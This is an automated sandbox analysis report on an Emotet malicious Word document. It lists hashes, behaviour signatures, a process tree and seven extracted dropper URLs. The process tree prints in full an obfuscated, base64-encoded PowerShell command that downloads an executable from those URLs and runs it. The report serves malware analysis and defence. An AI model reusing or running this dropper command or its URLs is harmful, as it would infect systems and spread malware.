Analysis

  • max time kernel
    136s
  • max time network
    137s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    03/09/2020, 12:56

General

  • Target
    emotet_e2_bd33006e901638592e0e26b7cfd3091f2bf3ce2f48212a7ef12dec8b21c4fec7_2020-09-03__125511._doc.doc
  • Size 249KB
  • Sample200903-km1elc8b3e
  • SHA256 bd33006e901638592e0e26b7cfd3091f2bf3ce2f48212a7ef12dec8b21c4fec7
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://www.agentstepp.com/ww12/6ZI/

  • exe.dropper

    http://badaia.net/baiaseu/m4G4chJ/

  • exe.dropper

    http://www.bambagiotti.it/shop/ymwU6/

  • exe.dropper

    http://bbcalegal.com/attachments/AAyd/

  • exe.dropper

    http://mezes.de/title_htm_files/Mb/

  • exe.dropper

    http://computerfastfix.co.uk/css/DXj/

  • exe.dropper

    http://sacentrs.lv/wp-content/uploads/2018/Cc/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_bd33006e901638592e0e26b7cfd3091f2bf3ce2f48212a7ef12dec8b21c4fec7_2020-09-03__125511._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3832
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
    1⤵
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:860
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABOAHYANABoADkAXwAyAD0AKAAoACcATgBwACcAKwAnAGYAegBtACcAKQArACcAbQBpACcAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAGUAcgBwAFIATwBmAGkAbABlAFwAbAA3ADAAZwBFADAAMgBcAEsARQByAGkAZgB4ADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBjAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAHUAUgBpAFQAYABZAGAAUABSAE8AVABvAGMAYABvAGwAIgAgAD0AIAAoACgAJwB0AGwAcwAnACsAJwAxACcAKQArACgAJwAyACwAJwArACcAIAB0AGwAJwArACcAcwAxACcAKQArACgAJwAxACwAIAAnACsAJwB0AGwAJwApACsAJwBzACcAKQA7ACQASwBqAGwAaQBpADAAegAgAD0AIAAoACcATABmACcAKwAoACcAcQAnACsAJwBnAHcAMwAnACkAKQA7ACQASwByAHgAOAAzAGMAaQA9ACgAJwBUACcAKwAnAHIAJwArACgAJwBkADEAJwArACcAeABmAHMAJwApACkAOwAkAEoAaABfAGwANwB0AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBWAHgAJwArACcAdwAnACkAKwAnAEwANwAnACsAJwAwAGcAJwArACgAJwBlADAAJwArACcAMgBWAHgAJwArACcAdwBLAGUAcgBpACcAKQArACgAJwBmAHgANAAnACsAJwBWAHgAJwApACsAJwB3ACcAKQAgACAALQBjAFIAZQBQAEwAYQBjAGUAIAAgACgAJwBWAHgAJwArACcAdwAnACkALABbAEMASABBAFIAXQA5ADIAKQArACQASwBqAGwAaQBpADAAegArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAEwAZQAyAHgAegA0AGIAPQAoACcAQgAnACsAKAAnADgAbgAzAGEAJwArACcAZwB4ACcAKQApADsAJABVAHIAawBnAG8AOABrAD0AJgAoACcAbgBlACcAKwAnAHcALQBvAGIAJwArACcAagBlACcAKwAnAGMAdAAnACkAIABuAEUAVAAuAHcARQBiAGMAbABpAGUAbgB0ADsAJABUAF8AZwB1ADAAeAB2AD0AKAAoACcAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAoACcAOgAnACsAJwAvAC8AJwArACcAdwB3AHcALgBhACcAKQArACcAZwBlACcAKwAoACcAbgB0ACcAKwAnAHMAdABlAHAAcAAuACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAbQAnACsAJwAvAHcAJwApACsAKAAnAHcAMQAnACsAJwAyACcAKwAnAC8ANgBaAEkALwAqAGgAdAB0AHAAOgAvAC8AYgAnACsAJwBhACcAKwAnAGQAJwArACcAYQAnACkAKwAnAGkAYQAnACsAJwAuAG4AJwArACgAJwBlAHQAJwArACcALwBiACcAKQArACgAJwBhAGkAJwArACcAYQBzACcAKQArACcAZQB1ACcAKwAnAC8AbQAnACsAKAAnADQARwAnACsAJwA0ACcAKQArACgAJwBjACcAKwAnAGgASgAnACkAKwAoACcALwAqACcAKwAnAGgAdAAnACkAKwAoACcAdABwADoALwAvAHcAdwB3AC4AJwArACcAYgBhACcAKwAnAG0AJwApACsAJwBiAGEAJwArACgAJwBnACcAKwAnAGkAbwB0AHQAaQAuACcAKwAnAGkAdAAnACkAKwAnAC8AcwAnACsAKAAnAGgAbwBwAC8AJwArACcAeQBtACcAKwAnAHcAJwArACcAVQA2AC8AJwApACsAKAAnACoAaAB0ACcAKwAnAHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAKAAnAGIAYgBjAGEAJwArACcAbABlAGcAYQAnACkAKwAnAGwAJwArACcALgBjACcAKwAnAG8AbQAnACsAJwAvACcAKwAoACcAYQB0ACcAKwAnAHQAJwApACsAJwBhACcAKwAnAGMAJwArACgAJwBoAG0AJwArACcAZQAnACkAKwAnAG4AdAAnACsAJwBzACcAKwAnAC8AQQAnACsAJwBBAHkAJwArACgAJwBkAC8AKgBoAHQAJwArACcAdAAnACsAJwBwADoAJwApACsAKAAnAC8AJwArACcALwBtACcAKQArACcAZQAnACsAJwB6ACcAKwAnAGUAJwArACgAJwBzACcAKwAnAC4AZABlACcAKQArACgAJwAvAHQAJwArACcAaQAnACkAKwAoACcAdAAnACsAJwBsAGUAXwAnACkAKwAnAGgAdAAnACsAKAAnAG0AXwAnACsAJwBmAGkAbAAnACkAKwAnAGUAJwArACcAcwAnACsAKAAnAC8ATQAnACsAJwBiAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAnADoALwAnACsAKAAnAC8AYwBvACcAKwAnAG0AcAB1AHQAZQAnACsAJwByACcAKQArACcAZgAnACsAKAAnAGEAJwArACcAcwB0ACcAKQArACgAJwBmAGkAeAAuAGMAJwArACcAbwAnACkAKwAnAC4AJwArACgAJwB1AGsALwAnACsAJwBjAHMAcwAvACcAKQArACgAJwBEACcAKwAnAFgAagAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0AHAAOgAvAC8AJwArACcAcwBhACcAKwAnAGMAZQBuACcAKwAnAHQAJwArACcAcgBzACcAKQArACgAJwAuAGwAJwArACcAdgAvAHcAJwApACsAKAAnAHAALQAnACsAJwBjAG8AbgB0AGUAJwApACsAKAAnAG4AdAAnACsAJwAvACcAKQArACgAJwB1AHAAbAAnACsAJwBvACcAKQArACcAYQAnACsAJwBkAHMAJwArACgAJwAvACcAKwAnADIAMAAxADgALwBDAGMAJwArACcALwAnACkAKQAuACIAUwBgAFAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABUAGEAbwAyAGsAYwBfAD0AKAAnAEgANAAnACsAKAAnAG8AaABqACcAKwAnAHgAdwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEIAZgB3ADgAYgB1ADkAIABpAG4AIAAkAFQAXwBnAHUAMAB4AHYAKQB7AHQAcgB5AHsAJABVAHIAawBnAG8AOABrAC4AIgBkAG8AYAB3AE4AYABMAG8AYABBAEQAZgBpAGwARQAiACgAJABCAGYAdwA4AGIAdQA5ACwAIAAkAEoAaABfAGwANwB0AHIAKQA7ACQAWQB2AGEAYgA3AGUAOAA9ACgAKAAnAEsAeAA3ACcAKwAnADYAegAnACkAKwAnAHIAdwAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQASgBoAF8AbAA3AHQAcgApAC4AIgBsAGAARQBuAEcAdABIACIAIAAtAGcAZQAgADMAMQA4ADEANwApACAAewAmACgAJwBJAG4AdgBvAGsAJwArACcAZQAnACsAJwAtAEkAdABlAG0AJwApACgAJABKAGgAXwBsADcAdAByACkAOwAkAE0AMAB3ADIAMwBqAG8APQAoACcAUABuACcAKwAoACcANwBwACcAKwAnADYAMgAnACkAKwAnAG8AJwApADsAYgByAGUAYQBrADsAJABLADUAcABnAHYAMgB4AD0AKAAnAFUAbQAnACsAKAAnAHkAJwArACcAaABlACcAKQArACcAcQA1ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQBuADMAegBfAGgAZwA9ACgAKAAnAFEAJwArACcAOQBqACcAKQArACcAMwBhACcAKwAnAGgAdgAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2708
    • C:\Users\Admin\L70ge02\Kerifx4\Lfqgw3.exe
      "C:\Users\Admin\L70ge02\Kerifx4\Lfqgw3.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:208
      • C:\Windows\SysWOW64\Windows.Security.Authentication.Identity.Provider\urlmon.exe
        "C:\Windows\SysWOW64\Windows.Security.Authentication.Identity.Provider\urlmon.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:3256

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/208-12-0x0000000002200000-0x000000000220C000-memory.dmp

        memory/2708-8-0x000001F819A60000-0x000001F819A61000-memory.dmp

        memory/2708-6-0x00007FFCB69C0000-0x00007FFCB73AC000-memory.dmp

        memory/2708-7-0x000001F819740000-0x000001F819741000-memory.dmp

        memory/3256-15-0x00000000020B0000-0x00000000020BC000-memory.dmp

        memory/3832-0-0x0000020F891E0000-0x0000020F898A6000-memory.dmp

        memory/3832-5-0x0000020F93F96000-0x0000020F93F9A000-memory.dmp

        memory/3832-4-0x0000020F93F92000-0x0000020F93F96000-memory.dmp

        memory/3832-3-0x0000020F93F96000-0x0000020F93F9A000-memory.dmp

        memory/3832-2-0x0000020F93F92000-0x0000020F93F96000-memory.dmp

        memory/3832-1-0x0000020F93F19000-0x0000020F93F1C000-memory.dmp